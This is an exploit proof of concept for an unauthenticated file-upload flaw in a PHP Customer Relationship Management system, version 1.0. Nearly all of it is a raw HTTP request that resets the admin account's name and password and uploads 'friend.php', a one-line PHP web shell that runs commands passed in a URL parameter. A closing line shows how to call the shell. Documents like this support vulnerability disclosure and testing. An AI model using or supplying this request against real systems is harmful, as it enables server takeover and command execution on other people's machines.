# Exploit Title: Customer Relationship Management (CRM) Unrestricted File Upload (unauthenticated) # Date: 11/05/2021 # Exploit Author: Richard Jones # Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code # Version: 1.0 # Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4 POST /crm/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------73401159029622284642216073649 Content-Length: 852 Origin: http://localhost Connection: close Referer: http://localhost/crm/customer/?page=user -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="id" 1 -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="firstname" Adminstrator -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="lastname" Admin -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="username" admin -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="password" password -----------------------------73401159029622284642216073649 Content-Disposition: form-data; name="img"; filename="friend.php" Content-Type: application/octet-stream <?php system($_GET['c']);?> -----------------------------73401159029622284642216073649-- #Call shell at /crm/uploads/123123_friend.php?c=whoami